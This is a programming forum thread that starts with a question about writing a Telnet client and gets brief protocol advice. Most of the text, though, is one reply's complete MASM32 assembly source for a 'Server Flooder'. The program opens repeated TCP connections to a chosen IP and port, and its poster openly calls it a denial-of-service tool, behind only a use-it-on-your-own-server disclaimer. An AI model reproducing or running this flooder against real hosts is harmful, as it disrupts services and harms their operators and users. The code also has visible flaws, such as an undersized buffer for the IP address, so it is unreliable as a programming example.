I am currently trying to write a Telnet Client program in Visual C++. I was wondering if anyone knows where I can find a tutorial on how to write the protocals for telnet, or how to connect to a telnet server. I have written a small "chat" program (the one that they use in the Teach Yourself C++ books) and understand how it works, but not sure what to do for a telnet client. Any help would be wonderful.

Thanx,
Atrus

Hello,

Telnet operates on TCP / IP port 23, so you are going to need to manage that socket in your program. You might also want to search out RFC's on telnet programs to see what ports the negotiation occurs on.

As long as you are still doing your homework, it may also pay to determine what kind of terminal emulation you are going to support. ANSI? VT-102? VT-240? All of these terminal emulations will require study in the protocols... for examaple, VT-240 is Dec graphics mode, and that means colored lines.

You might also consider an SSH option with the software too.

WIth the amount of telnet programs out there, I am not going to ask why... but if you are going to take the time to write one, do your homework and get the scope of the design down at this stage.

Christian

Just because you're wondering I will let you know. I am trying to write a third party "bot" program for another program that allows remote admin via telnet. My program willl have buttons set up to execute certian commands and such, as the remote admin telnet server is difficult to use. :)

Cheers and thanx for the insite,
Atrus

OK, so from some quick research it looks like 854 and 855 are the RFCs for telnet. Now do I have have my socket's listen on those ports also?

Atrus

I am currently trying to write a Telnet Client program in Visual C++. I was wondering if anyone knows where I can find a tutorial on how to write the protocals for telnet, or how to connect to a telnet server. I have written a small "chat" program (the one that they use in the Teach Yourself C++ books) and understand how it works, but not sure what to do for a telnet client. Any help would be wonderful.

Thanx,
Atrus

I am write same very simple telnet for Windows on C++ , look here
http://cms.xd24.ru/telnet.aspx?l=en

Don't look at the size of the sample code I provided you down here, otherwise I will scare you of maybe.

Here is a sample of a program which connects to a server by using sockets initialized with the WSAStartup function.

Use API32 reference of microsoft to understand what the functions are for. It is written in assembly, you can compile the source code with masm32 (assembly compiler, free for download).

The purpose of this program is to flood a server on one port. You can provoke a Denial of Service with this (DOS attack) so only use it on your own server!! I am not responsible for any illegal server flooding. I have included the application itself so it is easier to see what the code is all about.

Hopefully this is some helpfull information for you.

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      .486                      ; create 32 bit code
      .model flat, stdcall      ; 32 bit memory model
      option casemap :none      ; case sensitive
  
;     include files
;     ~~~~~~~~~~~~~
      include \masm32\include\windows.inc
      include \masm32\include\masm32.inc
      include \masm32\include\gdi32.inc
      include \masm32\include\user32.inc
      include \masm32\include\kernel32.inc
      include \masm32\include\Comctl32.inc
      include \masm32\include\comdlg32.inc
      include \masm32\include\shell32.inc
      include \masm32\include\oleaut32.inc
      include \masm32\include\dialogs.inc
      include \masm32\include\ws2_32.inc
      include \masm32\macros\macros.asm


;     libraries
;     ~~~~~~~~~
      includelib \masm32\lib\masm32.lib
      includelib \masm32\lib\gdi32.lib
      includelib \masm32\lib\user32.lib
      includelib \masm32\lib\kernel32.lib
      includelib \masm32\lib\Comctl32.lib
      includelib \masm32\lib\comdlg32.lib
      includelib \masm32\lib\shell32.lib
      includelib \masm32\lib\oleaut32.lib
      includelib \masm32\lib\ws2_32.lib

      DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD 
      
     .const
    CRLF            equ     0dh, 0ah
    
    .data?
    hWnd                dd ?
    hInstance           dd ?
    IpToFlood           db ?
    
    .data
    ;Message Related Data
    Mes1Caption         db "License agreement.",0
    Mes1Message         db "Created by Devoney, november 2007."
                        db CRLF
                        db CRLF
                        db "This program is freeware. The creator of this program is not responsible for what"
                        db CRLF
                        db "you do with it. The main purpose of this program is to test the behaviour of a"
                        db CRLF
                        db "server with many connection attempts. Please do not abuse."
                        db CRLF
                        db CRLF
                        db "Enjoy a Devoney Creation."
                        db CRLF
                        db CRLF
                        db "Do you understand this license?",0
    Mes2Caption         db "Invalid data",0
    Mes2Message         db "No valid data has been specified.",0
    Mes3Caption         db "Socket Error",0
    Mes3Message         db "Could not create a functional socket.",0
    Mes4Caption         db "Connection Error",0
    Mes4Message         db "Could not make a connection.",0
    Mes5Caption         db "Socket (re)Initialisation Error",0
    Mes5Message         db "Application failed to initialize WSAstartup function.",0
    Mes6Caption         db "Determine Maximum Sockets",0
    Mes6Message         db "This will determine the maximum sockets that your computer can provide."
                        db CRLF
                        db CRLF
                        db "This might take a while, would you like to continue?",0
    Mes7Caption         db "Done",0
    Mes7Message         db "The maximum sockets is: ",0
    Mes8Caption         db "Info",0
    Mes8Message         db "Already 50,000 sockets created."
                        db CRLF
                        db "Would you like to quit?",0

    ;Socket Related Data
    WSAStruc WSADATA <>
    SocketAddress sockaddr_in <>
    hosty hostent <>
    ChangeDlgText       db "Sockets Created:",0
    RestoreText1        db "Max Connections:",0

    ;Connection related
    PortToUse           dd 00000000h
    TotalConnections    dd 00000000h
    TotalFails          dd 00000000h
    TotalSucces         dd 00000000h
    TotalConAllowed     dd 00000000h
    MaxSocks            dd 00000000h
    MaxSocksBuffer      dd 00000000h
    StopConnecting      dd 00h
    
    .code

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start:
  
      mov hInstance, FUNC(GetModuleHandle,NULL)

      call main

      invoke ExitProcess,eax

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main proc

    Dialog "Server Flooder", \                ; caption
           "MS Sans Serif",10, \            ; font,pointsize
            WS_OVERLAPPED or \              ; styles for
            WS_SYSMENU or DS_CENTER, \      ; dialog window
            14, \                            ; number of controls
            50,50,155,100, \                ; x y co-ordinates
            1024                            ; memory buffer size

    DlgButton "Flood",WS_TABSTOP,106,5,40,13,IDOK
    DlgButton "Exit",WS_TABSTOP,106,20,40,13,IDCANCEL
    DlgButton "Stop",WS_TABSTOP,106,35,40,13,111
    DlgStatic "Ip address:",SS_LEFT,5,5,60,9,100
    DlgEdit SS_LEFT,5,15,60,9,101
    DlgStatic "Port number:",SS_LEFT,5,25,60,9,102
    DlgEdit SS_LEFT,5,35,60,9,103
    DlgStatic "Connected / Failed:",SS_LEFT,5,65,60,9,104
    DlgStatic "0",SS_LEFT,5,75,15,9,105
    DlgStatic "/",SS_LEFT,25,75,15,9,110
    DlgStatic "0",SS_LEFT,45,75,15,9,109
    DlgStatic "Max Connections:",SS_LEFT,5,45,60,9,106
    DlgEdit SS_LEFT,5,55,60,9,107
    DlgButton "Det. Max Sockets",WS_TABSTOP,81,65,65,13,108
    
    CallModalDialog hInstance,0,DlgProc,NULL

    ret

main endp

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DlgProc proc hWin:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD 
 
    Switch uMsg
      Case WM_INITDIALOG
        invoke SendMessage,hWin,WM_SETICON,1,
                           FUNC(LoadIcon,NULL,IDI_ASTERISK)
        m2m hWnd, hWin

        ;Show a license messagebox
        PUSH MB_YESNO	
        PUSH offset Mes1Caption
        PUSH offset Mes1Message
        PUSH hWin
        Call MessageBoxA
        CMP EAX, 7
        JE quit_dialog

        ;Disable the stop button
        PUSH 111
        PUSH hWin
        Call GetDlgItem
        PUSH 0
        PUSH EAX
        Call EnableWindow

        ;first initialize that we are going to use sockets
        PUSH offset WSAStruc
        PUSH 0101h
        Call WSAStartup
        CMP EAX, 0
        JNE WSAError

        ;Set standard port text
        PUSH NULL
        PUSH 80
        PUSH 103
        PUSH hWin
        Call SetDlgItemInt
        
        return 1
      Case WM_COMMAND
        Switch wParam
          Case IDOK

            MOV StopConnecting, 0
            
            ;gray out the Flood button
            PUSH IDOK
            PUSH hWin
            Call GetDlgItem
            PUSH 0          ;0 is disable, 1 is enable
            PUSH EAX
            Call EnableWindow 

            ;Enable the stop button
            PUSH 111
            PUSH hWin
            Call GetDlgItem
            PUSH 1
            PUSH EAX
            Call EnableWindow

            ;reset the connection number
            PUSH FALSE
            PUSH 0
            PUSH 105
            PUSH hWin
            Call SetDlgItemInt

            ;reset connections to 0
            MOV TotalConnections, 0
            MOV TotalFails, 0
            MOV TotalSucces, 0
            
            ;Get the ip from the textboxes
            PUSH 32h
            PUSH offset IpToFlood
            PUSH 101
            PUSH hWin
            Call GetDlgItemText

            ;get the port from the textboxes
            PUSH FALSE
            PUSH NULL       ;specifies if we want information about the function being succesfull.
            PUSH 103
            PUSH hWin
            Call GetDlgItemInt
            CMP EAX, 0
            JE ErrorInvalidData
            MOV PortToUse, EAX

            ;get to maximum amount of connections allowed
            PUSH FALSE
            PUSH NULL       ;specifies if we want information about the function being succesfull.
            PUSH 107
            PUSH hWin
            Call GetDlgItemInt
            CMP EAX, 0
            JE ErrorInvalidData
            MOV TotalConAllowed, EAX            

            ;port and ip are set, keep going.

            ;check if we use a good IP.
            PUSH offset IpToFlood
            Call inet_addr   
            CMP EAX, INADDR_NONE
            JE ErrorInvalidData
            MOV SocketAddress.sin_addr,EAX

            ;process the port number
            PUSH PortToUse
            Call htons
            MOV SocketAddress.sin_port, AX

            ConnectAgain:

            ;Check if the stop button is pressed
            ;CMP StopConnecting, 1
            ;JE StopConnectingJMP

            ;Update the Window
            PUSH hWin
            Call UpdateWindow

            ;create a socket
            PUSH 0
            PUSH SOCK_STREAM
            PUSH PF_INET
            Call socket         ;invoke socket,PF_INET,SOCK_STREAM,0
            ;check if this socket is valid
            CMP EAX, INVALID_SOCKET
            JE NoSocket

            ;fix parameter
            MOV SocketAddress.sin_family,AF_INET

            PUSH sizeof SocketAddress
            PUSH offset SocketAddress
            PUSH EAX
            Call connect
            CMP EAX, 0                 ;Enable these 2 lines to be notified of connection errors
            JE ConnectionSucces        ;The program stops connection and shows a message.  

            ;Connection failed
            INC TotalFails
            JMP ConnectionFailureCont

        ConnectionSucces:
            ;We have succesfully connected
            INC TotalSucces
            PUSH FALSE
            PUSH TotalSucces
            PUSH 105
            PUSh hWin
            Call SetDlgItemInt
            PUSH FALSE
            PUSH TotalFails
            PUSH 109
            PUSH hWin
            Call SetDlgItemInt

            
        ConnectionFailureCont:
            INC TotalConnections
            ;Check if we reached maximum connections allowed.
            MOV EBX, TotalConAllowed
            MOV ECX, TotalConnections
            CMP ECX, EBX
            JL ConnectAgain

        StopConnectingJMP:
            ;Enable the Flood button
            PUSH IDOK
            PUSH hWin
            Call GetDlgItem
            PUSH 1          ;0 is disable, 1 is enable
            PUSH EAX
            Call EnableWindow

          Case IDCANCEL
            jmp quit_dialog
            
          Case 108
            PUSH MB_YESNO
            PUSH offset Mes6Caption
            PUSH offset Mes6Message
            PUSH hWin
            Call MessageBoxA
            CMP EAX, 7
            JE Skip

            ;change text in dialog control
            PUSH offset ChangeDlgText
            PUSH 106
            PUSH hWin
            Call SetDlgItemText

            DetMaxSock:
            PUSH hWin
            Call UpdateWindow
            ;create a socket
            PUSH 0
            PUSH SOCK_STREAM
            PUSH PF_INET
            Call socket         ;invoke socket,PF_INET,SOCK_STREAM,0
            ;check if this socket is valid
            INC MaxSocks
            CMP EAX, INVALID_SOCKET
            JE DoneCheck
            ;Set dlg int
            PUSH FALSE
            PUSH MaxSocks
            PUSH 107
            PUSH hWin
            Call SetDlgItemInt

            ;infinite creating of sockets is useless
            CMP MaxSocks, 50000
            JGE Useless
            JMP DetMaxSock
            
            DoneCheck:
            PUSH MaxSocks
            PUSH offset MaxSocksBuffer
            Call dwtoa

            PUSH offset MaxSocksBuffer
            PUSH offset Mes7Message
            Call lstrcat
    
            PUSH MB_ICONINFORMATION
            PUSH offset Mes7Caption
            PUSH offset Mes7Message
            PUSH hWin
            Call MessageBoxA
            
            Skip2:
            ;Clear the junk texts etc.
            PUSH offset RestoreText1
            PUSH 106
            PUSH hWin
            Call SetDlgItemText

            MOV MaxSocksBuffer, 0
            PUSH FALSE
            PUSh 0
            PUSH 107
            PUSH hWin
            Call SetDlgItemInt

            ;Clean up the sockets
            Call WSACleanup

            ;Initialize the sockets again
            PUSH offset WSAStruc
            PUSH 0101h
            Call WSAStartup
            CMP EAX, 0
            JNE WSAError

        case 111
            MOV StopConnecting, 1

            Skip:
        EndSw
      Case WM_CLOSE
        quit_dialog:
         invoke EndDialog,hWin,0
         JMP Ending
         
    ErrorInvalidData:
    LEA EDI, Mes2Caption
    LEA ESI, Mes2Message
    JMP FinalMes

    NoSocket:
    LEA EDI, Mes3Caption
    LEA ESI, Mes3Message
    JMP FinalMes
    
    ConnectionError:
    LEA EDI, Mes4Caption
    LEA ESI, Mes4Message
    JMP FinalMes

    WSAError:
    LEA EDI, Mes5Caption
    LEA ESI, Mes5Message
    JMP FinalMes

    Useless:
    PUSH MB_YESNO
    PUSH offset Mes8Caption
    PUSH offset Mes8Message
    PUSH hWin
    Call MessageBoxA
    CMP EAX, 7          ;if answer is no, we continue
    JE DetMaxSock
    JMP Skip2

    FinalMes:
    PUSH MB_ICONERROR
    PUSH EDI
    PUSH ESI
    PUSH hWin
    Call MessageBoxA

    ;Enable the Flood button
    PUSH IDOK
    PUSH hWin
    Call GetDlgItem
    PUSH 1          ;0 is disable, 1 is enable
    PUSH EAX
    Call EnableWindow 

    
    Ending:
    EndSw

    return 0

DlgProc endp

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